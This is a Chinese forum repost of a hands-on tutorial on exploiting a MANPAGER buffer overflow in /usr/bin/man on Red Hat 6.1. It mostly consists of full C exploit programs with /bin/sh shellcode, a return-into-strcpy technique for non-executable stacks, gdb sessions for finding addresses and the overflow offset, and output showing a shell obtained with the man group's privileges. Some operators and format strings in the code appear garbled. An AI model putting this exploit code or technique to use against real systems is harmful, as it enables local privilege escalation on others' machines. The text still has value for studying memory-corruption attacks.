| 
 | 
 
1. 简介  
我在 http://www.hack.co.za/ 上看到 Lam3rZ 小组的 Kil3r 写的一个针对  
redhat 6.1 (and others) /usr/bin/man exploit,下载回来后,直接编译运行,并  
没有完成攻击。注意到原exploit是针对不可执行堆栈环境编写的,而我测试的主机  
没有打不可执行堆栈补丁等等。其实针对不可执行堆栈环境的缓冲区溢出技术同样可  
以用于"常规"环境,所以就此次攻击做一完整描述,抛砖引玉,见笑。  
2. 问题描述  
/usr/bin/man 会使用 MANPAGER 环境变量,关于这个变量的细节请 man man 查看。  
当 MANPAGER 变量设置成超长字符串时,会导致 /usr/bin/man 执行中缓冲区溢出。  
[scz@ /home/scz/src]> export MANPAGER=`perl -e 'print "A"x1'`  
[scz@ /home/scz/src]> man ls  
sh: A: command not found  
Error executing formatting or display command.  
System command (cd /usr/man ; (echo -e ".ll 9.9i\n.pl 1100i";  
/bin/cat /usr/man/man1/ls.1; echo ".pl \n(nlu 10") | /usr/bin/gtbl |  
/usr/bin/groff -Tlatin1 -mandoc | A) exited with status 127.  
No manual entry for ls ^  
[scz@ /home/scz/src]> |  
                      |  
                      ------ export MANPAGER=`perl -e 'print "A"x3945'`  
[scz@ /home/scz/src]> man ls  
sh: A...A: command not found  
Error executing formatting or display command.  
System command (cd /usr/man ; (echo -e ".ll 9.9i\n.pl 1100i";  
/bin/cat /usr/man/man1/ls.1; echo ".pl \n(nlu 10") | /usr/bin/gtbl |  
/usr/bin/groff -Tlatin1 -mandoc | A...A) exited with status 127.  
Segmentation fault  址造成,很可能某个函数的返回地址已经被覆盖掉  
[scz@ /home/scz/src]> unset MANPAGER >,具体的技术原理不再赘述。  
Lam3rZ 小组的 Kil3r 所编写的exploit code采用的技术是,用于覆盖的返回地址指  
向 strcpy() 函数的 PLT 入口(过程链接表入口),同时在堆栈中利用 MANPAGER 变  
量的缓冲区溢出,伪造一个发生常规 strcpy() 函数调用时所需要的假栈帧。  
shellcode采用自定义环境变量的技术传递进入堆栈高区,因为使用了 execle() 函  
数调用,该shellcode在 /usr/bin/man 进程地址空间中的位置相对固定,很容易猜  
测调整。当返回地址被成功覆盖后,程序流程随着问题函数的返回而转向一个  
strcpy() 函数调用,strcpy() 函数调用会将shellcode从 /usr/bin/man 进程的环  
境变量区(堆栈高区)拷贝到另外一个区域,这个区域要求在不可执行堆栈环境下依旧  
可写可执行,该区域必须在 /usr/bin/man 进程的地址空间内。显然,这个区域的地  
址需要提前猜测确定,因为该区域的地址作为 strcpy() 函数调用的目标地址,必须  
在伪造假栈帧时提供,后面我们会介绍猜测确定该区域地址的技术手段。  
至于 strcpy() 函数调用完成,我们的shellcode已经进入可执行区域,流程又是如  
何转向我们自己的shellcode,请参看tt在绿盟网络安全月刊第8期中的  
>,内有图示,我看得头都快白了,总算  
理解,chat* sigh。  
从上面的攻击思路分析中完全可以看出,Lam3rZ 小组的 Kil3r 的攻击手段适用范围  
要广些,所以我们先采用这种技术完成一次攻击。  
4. 攻击第一步,猜测确定几个关键地址  
(1) 确定 /usr/bin/man 中 strcpy() 函数的 PLT 入口  
[scz@ /home/scz/src]> gdb /usr/bin/man  
GNU gdb 4.18  
This GDB was configured as "i386-redhat-linux"...  
(gdb) p strcpy  
$1 = {} 0x80490e4   
(gdb) q ^  
[scz@ /home/scz/src]> |  
                            |  
#define STRCPYPLT 0x080490e4 ------>------  
因为缓冲区溢出发生在 /usr/bin/man 进程地址空间中,我们需要确定的 strcpy()  
函数的 PLT 入口也应该是 /usr/bin/man 中 strcpy() 函数的 PLT 入口。该入口  
和 /usr/bin/man 文件二进制映像有关,对于某个确定的elf格式的程序文件,该  
入口相对固定。  
(2) 猜测确定一个在不可执行堆栈环境下 /usr/bin/man 进程空间中可写可执行的区  
  域地址  
[scz@ /home/scz/src]> man ls  
Ctrl-Z  jobs  
[1]  Stopped man ls  
[scz@ /home/scz/src]> ps -ef | grep man  
scz 2377 1860 0 12:03 pts/2 00:00:00 man ls  
[scz@ /home/scz/src]> cat /proc/2377/maps  
08050000-08051000 rw-p 00007000 03:06 36427 /usr/bin/man  
[scz@ /home/scz/src]> fg %1  
q   
这个区域显示的是可读写,并没有可执行,但实际是可执行的。我们挑选一个处在4  
字节对齐边界上的地址,将来shellcode最终被拷贝到该地址并在该地址上开始执行。  
#define SHELLCODETARGET 0x0805010c  
注意,这里的 SHELLCODETARGET 需要出现在 MANPAGER 环境变量中,所以不得出现  
零值。我当时挑选了 0x08050100 ,结果总是不能正确溢出,后来才想起这个毛病所  
在。  
我们可以不通过 /proc//maps 文件查找满足条件的区域地址,而直接使用  
strcpy() 函数的 GOT 入口(全局偏移表入口)地址。  
[scz@ /home/scz/src]> gdb /usr/bin/man  
GNU gdb 4.18  
This GDB was configured as "i386-redhat-linux"...  
(gdb) disas strcpy  
0x80490e4  : jmp *0x8050cac  
0x80490ea  : push $0x1d8 : jmp 0x8048d24  
(gdb) x/1wx 0x8050cac : 0x080490ea  
(gdb) q  
[scz@ /home/scz/src]>  
#define STRCPYPLT 0x080490e4  
#define STRCPYGOT 0x08050cac  
#define SHELLCODETARGET STRCPYGOT  
显然 STRCPYGOT 符合可写可执行区域的条件。可能你担心直接使用 STRCPYGOT 作为  
目标地址,会影响到 strcpy() 函数本身的执行过程。仔细研读上面汇编代码,使用  
STRCPYGOT 的时候还没有发生字符串拷贝,换句话说,发生字符串拷贝的时候已经无  
所谓 STRCPYGOT 处是什么内容了,反正我们的shellcode是不会使用 strcpy() 函数  
的。要是还不放心,就不要直接使用 STRCPYGOT 作为目标地址,而使用 STRCPYGOT  
  4 作为目标地址,只是不知道全局偏移表中 strcpy 入口地址的下一个又是什么函  
数的入口地址,反正都无所谓。  
(3) 猜测确定位于 /usr/bin/man 进程环境变量区的shellcode地址  
下面的讨论基于一个假设,你已经明白elf文件的内存布局。我们需要通过环境变量  
传递shellcode进入 /usr/bin/man 的进程空间,strcpy() 使用这里的shellcode作  
为拷贝源。猜测确定拷贝源地址是必须的。  
#define VULPROGRAM "/usr/bin/man"  
#define SHELLCODESOURCE ( 0xbffffffc - sizeof( VULPROGRAM ) - sizeof( shellcode ) ) 
这里唯一需要注意的是 sizeof( VULPROGRAM ) 包括了结尾的'\0'。如果担心不够精  
确,可以在shellcode的前部增加 NOP 指令。  
上面的技术适用于i386/Linux平台,对于SPARC/Solaris平台这样相对复杂的情况,  
还可以采用辅助程序观察execle()之后的内存布局,我们在条目6中介绍。  
(4) 猜测确定问题缓冲区溢出点  
实际上攻击从问题描述就已经开始了,发现问题的同时就开始了攻击过程,问题缓冲  
区溢出点显然可以从 3945   9 = 3954 附近考虑。但是,不知道什么缘故,居然无  
法得到core文件,也就无法深入调试,最后只好参看 Kil3r 的exploit code,发现  
他使用的溢出点在4067,因为没有core文件,无法确定发生了什么,为什么3954已经  
开始溢出,但真正有效溢出点却在4067,中间相差这么多字节,没有core的日子真难  
过。  
#define VULPOINT 4067  
5. 编写针对不可执行堆栈环境的溢出攻击程序  
/*  
* File : ex_man.c for redhat 6.1 /usr/bin/man  
* Author : Kil3r of Lam3rZ  
* Rewriten : scz   
* Complie : gcc -o ex_man ex_man.c  
* Usage : ./ex_man  
* Date : 2000-05-16  
*/  
#include   
#include   
#include   
#include   
#include   
/* 一段标准的linux/i386下的shellcode */  
char shellcode[] =  
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"  
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"  
"\x80\xe8\xdc\xff\xff\xff/bin/sh";  
#define STRCPYPLT 0x080490e4  
#define STRCPYGOT 0x08050cac  
#define RETADDRESS STRCPYPLT /* 用于覆盖的返回地址 */  
#define SHELLCODETARGET STRCPYGOT  
#define SHELLCODESOURCE ( 0xbffffffc - sizeof( VULPROGRAM ) - sizeof( shellcode ) ) 
#define VULPROGRAM "/usr/bin/man"  
#define VULPOINT 4067  
#define SAFEPADLEN 24  
#define PAD 'A'  
#define SUCCESS 0  
#define FAILURE -1  
int main ( int argc, char * argv[] )  
{  
  char * vulbuf;  
  char * env[3];  
  u_long * pointer;  
  u_long vulPoint = VULPOINT;  
  u_long vulBufSize = VULPOINT   SAFEPADLEN;  
  fprintf( stderr, "Usage: %s [ vulPoint ]\n", argv[0] );  
  if ( argc > 1 )  
  {  
    vulPoint = strtoul( argv[1], NULL, 10 );  
    vulBufSize = vulPoint   SAFEPADLEN;  
  }  
  vulbuf = ( char * )malloc( ( size_t )( vulBufSize ) );  
  if ( vulbuf == 0 )  
  {  
    fprintf( stderr, "Can't allocate memory %lu bytes\n", vulBufSize );  
    exit( FAILURE );  
  }  
  fprintf( stderr, "vulPoint = %lu\n", vulPoint );  
  memset( vulbuf, PAD, vulBufSize );  
  vulbuf[ vulBufSize - 1 ] = '\0';  
  pointer = ( u_long * )( vulbuf   vulPoint );  
  *pointer   = RETADDRESS;  
  *pointer   = SHELLCODETARGET;  
  *pointer   = SHELLCODETARGET;  
  *pointer   = SHELLCODESOURCE;  
  memcpy( vulbuf, "MANPAGER=", 9 );  
  env[0] = vulbuf;  
  env[1] = shellcode;  
  env[2] = NULL;  
  execle( VULPROGRAM, VULPROGRAM, "ls", NULL, env );  
  free( vulbuf );  
  return( SUCCESS );  
} /* end of main */  
[scz@ /home/scz/src]> cat > ex_man.c  
[scz@ /home/scz/src]> gcc -o ex_man ex_man.c  
[scz@ /home/scz/src]> ./ex_man  
Usage: ./ex_man [ vulPoint ]  
vulPoint = 4067  
bash$ id  
uid=505(scz) gid=100(users) egid=15(man) groups=100(users)  
bash$ exit ^  
exit |  
[scz@ /home/scz/src]> |  
          溢出成功 ------>------  
这里根本没有使用传统的 get_esp() 函数,而且这个exploit code适用于常规环境。  
但是这种溢出攻击技术,需要精确覆盖返回地址,并且无法采用传统的大段返回地址  
覆盖一片区域的方式,因为涉及到构造 strcpy() 函数调用假栈帧的技术问题。注意  
到,实际上我们现在唯一需要调整的就是溢出点,可以考虑暴力猜测调整溢出点。再  
就是,这次关键没有core dump出现,一般都有core dump,那样的话就可以不用暴力  
猜测调整了。  
我还碰到一个问题,该exploit code在SecureCRT或者CRT下执行都无法取得shell,  
虽然段溢出发生了。仅仅当我使用telnet的时候才正确取得shell,原因未明。建议  
如果实在无法取得shell,考虑换个终端工具试试(tt胡言乱语),faint  
6. 一个辅助观察execle()之后内存布局的小程序  
/*  
* gcc -o ev ev.c  
* scz   
*/  
#include   
#include   
#include   
#define SUCCESS 0  
#define FAILURE -1  
#define ENVDATA 0xbfffff00  
#define ENVDATALEN 256  
void outputBinary ( const unsigned char * byteArray, const size_t byteArrayLen )  
{  
  u_long offset;  
  int i, j, k;  
  fprintf( stderr, "byteArray [ %lu bytes ] ----> \n", byteArrayLen );  
  if ( byteArrayLen  0; k--, offset  = 16 )  
  {  
    fprintf( stderr, "X ", offset );  
    for ( j = 0; j = ' ' ) && ( byteArray  0; j-- )  
  {  
    fprintf( stderr, " " );  
  }  
  fprintf( stderr, " " );  
  for ( j = 0; j = ' ' ) && ( byteArray  1 )  
  {  
    /* 采用16进制 */  
    envData = ( u_char * )strtoul( argv[1], NULL, 16 );  
    if ( argc > 2 )  
    {  
        /* 采用10进制 */  
        envDataLen = ( size_t )strtoul( argv[2], NULL, 10 );  
    }  
  }  
  fprintf( stderr, "Usage: %s [ envData ] [ envDataLen ]\n", argv[0] );  
  fprintf( stderr, "envData = %p\n", envData );  
  fprintf( stderr, "envDataLen = %lu\n", envDataLen );  
  outputBinary( envData, envDataLen );  
  return( SUCCESS );  
} /* end of main */  
程序很简单,就是显示一段内存映像。我们所要做的,就是把exploit code里的几个  
地方修改一下:  
#define VULPROGRAM "./ev"  
execle( VULPROGRAM, VULPROGRAM, "0xbfffff00", NULL, env );  
这样观察得到的shellcode源地址显然不适用,因为这里的./ev和/usr/bin/man长度  
不一样,熟悉elf文件格式的应该可以理解这点。于是我们简单处理一下:  
cp ev usrbin_man  
#define VULPROGRAM "./usrbin_man"  
execle( VULPROGRAM, VULPROGRAM, "0xbfffff00", NULL, env );  
此刻看到的shellcode源地址就和 /usr/bin/man 进程空间环境变量区里的一致了。  
必须意识到 execle() 第一个形参对进程空间环境变量区的影响。  
这种技术手段适用于SPARC/Solaris平台,我们利用它可以确定很多关键性地址,可  
以调整那些需要n字节边界对齐的地方。  
7. 编写针对常规环境下的溢出攻击程序  
--------------------------------------------------------------------------  
/*  
* File : ex_man.c for redhat 6.1 /usr/bin/man  
* Author : Kil3r of Lam3rZ  
* Rewriten : warning3   
* Complie : gcc -o ex_man ex_man.c  
* Usage : ./ex_man  
* Date : 2000-05-16  
*/  
#include   
#include   
#include   
#include   
#include   
/* 一段标准的linux/i386下的shellcode */  
char shellcode[] =  
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"  
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"  
"\x80\xe8\xdc\xff\xff\xff/bin/sh";  
#define VULPROGRAM "/usr/bin/man"  
#define VULPOINT 4067  
#define NOP 0x90  
#define SUCCESS 0  
#define FAILURE -1  
#define OFFSET 2000  
unsigned long get_esp ( void )  
{  
  __asm__  
  ("  
    movl %esp, 陎  
  ");  
} /* end of get_esp */  
int main ( int argc, char * argv[] )  
{  
  char * env[2];  
  u_long * pointer;  
  u_long retAddress;  
  char vulbuf[ VULPOINT   5 ];  
  memset( vulbuf, NOP, VULPOINT   5 );  
  memcpy( vulbuf   VULPOINT - ( strlen( shellcode )   20 ),  
        shellcode, strlen( shellcode ) );  
  retAddress = get_esp()   OFFSET;  
  pointer = ( u_long * )( vulbuf   VULPOINT );  
  *pointer = retAddress;  
  fprintf( stderr, "retAddress = 0xx\n", retAddress );  
  memcpy( vulbuf, "MANPAGER=", 9 );  
  vulbuf[ VULPOINT   4 ] = '\0';  
  env[0] = vulbuf;  
  env[1] = NULL;  
  execle( VULPROGRAM, VULPROGRAM, "ls", NULL, env );  
  return( SUCCESS );  
} /* end of main */  
在调试这个程序的时候,我们发现 MANPAGER 环境变量值长度在某个地方被检查过,  
只是这个检查对于溢出攻击取得shell并没有起到保护作用。  
为什么这里定义 OFFSET 为2000呢,可以采用条目6中的办法来观察一下execle()之  
后环境变量区里的内容,简单修改如下:  
--------------------------------------------------------------------------  
#define VULPROGRAM "./usrbin_man"  
... ...  
  execle( VULPROGRAM, VULPROGRAM, argv[1], NULL, env );  
  return( SUCCESS );  
} /* end of main */  
--------------------------------------------------------------------------  
偏移为2000的时候返回地址落在NOP区内。那么溢出点4067呢?没办法,还是从前一  
个程序里直接获知的,有core dump的时候可以调试确定。  
8. 关于core文件以及确定溢出点  
以前知道一点产生core dump的条件,但感受不深,今天都快要结束本篇灌水了,才  
真正感受了一下。  
我拷贝了一个/usr/bin/man到当前目录~scz/src下,然后定义问题程序为./man,此  
时以scz用户身份运行exploit code,故意不正确覆盖返回地址,立即得到  
core dump。  
后来又以root身份在几个不同的当前目录下测试不同的组合情况,有些时候会得到  
core dump,有些时候只报告段溢出。core文件是内存映像文件,与产生它的进程密  
切相关,而产生进程对应硬盘文件的属主、权限以及当前执行它的用户身份都与是否  
产生core dump有关。情况虽然很复杂很多,但至少有一点可以肯定,如果包括  
exploit code和问题程序在内的的所有文件都是当前用户所有,段溢出时一般都会  
core dump在当前目录下。对于上面的/usr/bin/man,我们完全可以调试./man找到  
溢出点。此外需要提醒的是,如果希望得到正确的core dump,一定要先删除当前目  
录下已经存在的core文件。  
之所以这样限制core dump,应该有其安全方面的考虑。下面我们来简单看看如何确  
定./man的溢出点。  
--------------------------------------------------------------------------  
/*  
* gcc -o ex_man ex_man.c  
*  
* 目的就是产生core dump  
*/  
#include   
#include   
#include   
#include   
#include   
#define VULPROGRAM "./man"  
#define PAD_1 'A'  
#define PAD_2 'B'  
#define SUCCESS 0  
#define FAILURE -1  
int main ( int argc, char * argv[] )  
{  
  char * vulbuf = NULL;  
  char * env[2];  
  u_long vulbufSize;  
  if ( argc != 2 )  
  {  
    fprintf( stderr, "Usage: %s \n", argv[0] );  
    return( FAILURE );  
  }  
  vulbufSize = strtoul( argv[1], NULL, 10 );  
  vulbuf = ( char * )malloc( vulbufSize );  
  if ( vulbuf == NULL )  
  {  
    fprintf( stderr, "Can't allocate memory %lu bytes\n", vulbufSize );  
    return( FAILURE );  
  }  
  memset( vulbuf, PAD_1, vulbufSize );  
  vulbuf[ vulbufSize - 5 ] = PAD_2;  
  vulbuf[ vulbufSize - 4 ] = PAD_2;  
  vulbuf[ vulbufSize - 3 ] = PAD_2;  
  vulbuf[ vulbufSize - 2 ] = PAD_2;  
  vulbuf[ vulbufSize - 1 ] = '\0';  
  memcpy( vulbuf, "MANPAGER=", 9 );  
  env[0] = vulbuf;  
  env[1] = NULL;  
  execle( VULPROGRAM, VULPROGRAM, "ls", NULL, env );  
  free( vulbuf );  
  return( SUCCESS );  
} /* end of main */  
--------------------------------------------------------------------------  
[scz@ /home/scz/src]> ./ex_man 5000  
Segmentation fault (core dumped)  
[scz@ /home/scz/src]> gdb ./man core  
GNU gdb 4.18  
Program terminated with signal 11, Segmentation fault.  
#0 0x41414141 in ?? ()  
#0 0x41414141 in ?? ()  
(gdb) bt  
#0 0x41414141 in ?? ()  
Cannot access memory at address 0x41414141.  
(gdb) q  
[scz@ /home/scz/src]>  
说明5000已经导致返回地址被覆盖成0x41414141,考虑减小该值。重复类似步骤,直  
到发现4063仍未溢出,4064开始溢出,并core dump。  
[scz@ /home/scz/src]> ./ex_man 4063  
[scz@ /home/scz/src]> ./ex_man 4064  
Segmentation fault (core dumped)  
[scz@ /home/scz/src]> gdb ./man core  
GNU gdb 4.18  
Program terminated with signal 11, Segmentation fault.  
#0 0x41414141 in ?? ()  
#0 0x41414141 in ?? ()  
(gdb) bt  
#0 0x41414141 in ?? ()  
Cannot access memory at address 0x41414141.  
(gdb) q  
[scz@ /home/scz/src]> ./ex_man 4065  
Segmentation fault (core dumped)  
[scz@ /home/scz/src]> gdb ./man core  
Core was generated by `./man ls'.  
Program terminated with signal 11, Segmentation fault.  
#0 0x0 in ?? ()  
(gdb) bt  
#0 0x0 in ?? ()  
(gdb) q  
[scz@ /home/scz/src]> ./ex_man 4066  
Segmentation fault (core dumped)  
[scz@ /home/scz/src]> gdb ./man core  
#0 0x804a3de in strcpy () at ../sysdeps/generic/strcpy.c:30  
(gdb) bt  
#0 0x804a3de in strcpy () at ../sysdeps/generic/strcpy.c:30  
Cannot access memory at address 0xbf004236.  
(gdb) q  
[scz@ /home/scz/src]> ./ex_man 4067  
Segmentation fault (core dumped)  
[scz@ /home/scz/src]> gdb ./man core  
#0 0x804a3de in strcpy () at ../sysdeps/generic/strcpy.c:30  
30 ../sysdeps/generic/strcpy.c: No such file or directory.  
(gdb) bt  
#0 0x804a3de in strcpy () at ../sysdeps/generic/strcpy.c:30  
Cannot access memory at address 0x424236.  
(gdb) q  
[scz@ /home/scz/src]> ./ex_man 4068  
Segmentation fault (core dumped)  
[scz@ /home/scz/src]> gdb ./man core  
#0 0x804a362 in strcpy () at ../sysdeps/generic/strcpy.c:30  
30 ../sysdeps/generic/strcpy.c: No such file or directory.  
(gdb) bt  
#0 0x804a362 in strcpy () at ../sysdeps/generic/strcpy.c:30  
#1 0x807d948 in ?? ()  
Cannot access memory at address 0x42424242.  
(gdb) q  
[scz@ /home/scz/src]> ./ex_man 4069  
Segmentation fault (core dumped)  
[scz@ /home/scz/src]> gdb ./man core  
#0 0x8040042 in ?? ()  
(gdb) bt  
#0 0x8040042 in ?? ()  
Cannot access memory at address 0x42424241.  
(gdb) q  
[scz@ /home/scz/src]> ./ex_man 4070  
Segmentation fault (core dumped)  
[scz@ /home/scz/src]> gdb ./man core  
#0 0x8004242 in ?? ()  
(gdb) bt  
#0 0x8004242 in ?? ()  
Cannot access memory at address 0x42424141.  
(gdb) q  
[scz@ /home/scz/src]> ./ex_man 4071  
Segmentation fault (core dumped)  
[scz@ /home/scz/src]> gdb ./man core  
#0 0x424242 in ?? ()  
(gdb) bt  
#0 0x424242 in ?? ()  
Cannot access memory at address 0x42414141.  
(gdb) q  
[scz@ /home/scz/src]> ./ex_man 4072  
Segmentation fault (core dumped)  
[scz@ /home/scz/src]> gdb ./man core  
#0 0x42424242 in ?? ()  
(gdb) bt  
#0 0x42424242 in ?? ()  
Cannot access memory at address 0x41414141.  
(gdb) q  
[scz@ /home/scz/src]> ./ex_man 4073  
Segmentation fault (core dumped)  
[scz@ /home/scz/src]> gdb ./man core  
#0 0x42424241 in ?? ()  
(gdb) bt  
#0 0x42424241 in ?? ()  
Cannot access memory at address 0x41414141.  
(gdb) q  
[scz@ /home/scz/src]>  
在从4064到4073的分析观察过程中,我们显然已经看到,当取值4072的时候会覆盖一  
个函数指针还是返回地址什么的,总之是个会导致控制流转移的4字节。注意到我们  
测试程序中代码,溢出点应该在 4072 - 5 = 4067。至此,猜测确定溢出点的工作完  
成了。至于为什么通过execle()执行和通过命令行shell执行时溢出点相差较远,我  
也不清楚。看来以后确定溢出点,直接用程序猜测确定要准确些。  
core文件的好处很多,这里仅仅列举了一种应用。以后看到core我就要看看什么宝贝  
其中,说不好一个shadow就来了。grin  
9. 总结  
a) 可以利用条目6的办法观察execle()之后环境变量区内容,确定很多地址。  
b) 无法溢出取得shell的时候尝试换个终端登录工具。  
c) 没有core dump,你就去死吧。一定要想法得到core文件,进而调试确定问题程序  
  溢出点。得不到core时仔细检查相关文件权限以及当前用户身份。 |   
 
 温馨提示:
1、本站所有信息都来源于互联网有违法信息与本网站立场无关。 
2、当有关部门,发现本论坛有违规,违法内容时,可联系站长删除,否则本站不承担任何责任。 
3、当政府机关依照法定程序要求披露信息时,论坛均得免责。 
4、本帖部分内容转载自其它媒体,但并不代表本站赞同其观点和对其真实性负责 
5、如本帖侵犯到任何版权问题,请立即告知本站,本站将及时予与删除并致以最深的歉意 
6、如果使用本帖附件,本站程序只提供学习使用,请24小时内删除!使用者搭建运营触犯法律,违法,违规,本站不承担任何责任。 
 
 
 |